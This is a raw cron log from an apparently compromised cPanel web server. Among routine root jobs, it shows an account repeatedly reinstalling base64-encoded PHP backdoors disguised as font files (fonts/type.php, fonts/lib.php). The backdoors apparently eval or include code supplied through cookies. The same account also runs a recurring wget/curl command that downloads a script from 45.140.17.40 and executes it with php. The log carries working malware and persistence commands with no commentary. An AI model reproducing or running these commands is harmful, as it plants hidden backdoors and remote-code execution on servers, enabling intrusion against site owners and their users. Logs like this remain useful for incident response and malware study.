Sep  4 16:14:01 ip-184-168-122-23 CROND[19447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:14:01 ip-184-168-122-23 CROND[19450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:14:01 ip-184-168-122-23 CROND[19451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:14:01 ip-184-168-122-23 CROND[19449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:15:01 ip-184-168-122-23 CROND[19572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:15:01 ip-184-168-122-23 CROND[19575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:15:01 ip-184-168-122-23 CROND[19574]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 16:15:01 ip-184-168-122-23 CROND[19573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:15:01 ip-184-168-122-23 CROND[19577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:15:01 ip-184-168-122-23 CROND[19578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:15:01 ip-184-168-122-23 CROND[19576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:16:01 ip-184-168-122-23 CROND[19677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:16:01 ip-184-168-122-23 CROND[19676]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 16:16:01 ip-184-168-122-23 CROND[19678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:16:01 ip-184-168-122-23 CROND[19674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:16:01 ip-184-168-122-23 CROND[19679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:16:01 ip-184-168-122-23 CROND[19675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:17:01 ip-184-168-122-23 CROND[19763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:17:01 ip-184-168-122-23 CROND[19764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:17:01 ip-184-168-122-23 CROND[19765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:17:01 ip-184-168-122-23 CROND[19766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:18:01 ip-184-168-122-23 CROND[19845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:18:01 ip-184-168-122-23 CROND[19847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:18:01 ip-184-168-122-23 CROND[19848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:18:01 ip-184-168-122-23 CROND[19850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:18:01 ip-184-168-122-23 CROND[19849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:19:01 ip-184-168-122-23 CROND[20023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:19:01 ip-184-168-122-23 CROND[20024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:19:01 ip-184-168-122-23 CROND[20026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:19:01 ip-184-168-122-23 CROND[20025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:20:01 ip-184-168-122-23 CROND[20110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:20:01 ip-184-168-122-23 CROND[20114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:20:01 ip-184-168-122-23 CROND[20115]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 16:20:02 ip-184-168-122-23 CROND[20118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:20:02 ip-184-168-122-23 CROND[20119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:20:02 ip-184-168-122-23 CROND[20117]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:20:02 ip-184-168-122-23 CROND[20116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:20:02 ip-184-168-122-23 CROND[20125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:20:02 ip-184-168-122-23 CROND[20121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:21:01 ip-184-168-122-23 CROND[20219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:21:01 ip-184-168-122-23 CROND[20220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:21:01 ip-184-168-122-23 CROND[20222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:21:01 ip-184-168-122-23 CROND[20223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:22:01 ip-184-168-122-23 CROND[20299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:22:01 ip-184-168-122-23 CROND[20300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:22:01 ip-184-168-122-23 CROND[20301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:22:01 ip-184-168-122-23 CROND[20297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:22:01 ip-184-168-122-23 CROND[20298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:23:01 ip-184-168-122-23 CROND[20382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:23:01 ip-184-168-122-23 CROND[20384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:23:01 ip-184-168-122-23 CROND[20385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:23:01 ip-184-168-122-23 CROND[20383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:24:01 ip-184-168-122-23 CROND[20460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:24:01 ip-184-168-122-23 CROND[20462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:24:01 ip-184-168-122-23 CROND[20463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:24:01 ip-184-168-122-23 CROND[20464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:24:01 ip-184-168-122-23 CROND[20465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:25:01 ip-184-168-122-23 CROND[20552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:25:01 ip-184-168-122-23 CROND[20553]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 16:25:01 ip-184-168-122-23 CROND[20554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:25:01 ip-184-168-122-23 CROND[20555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:25:01 ip-184-168-122-23 CROND[20556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:25:01 ip-184-168-122-23 CROND[20557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:25:01 ip-184-168-122-23 CROND[20562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:26:01 ip-184-168-122-23 CROND[20738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
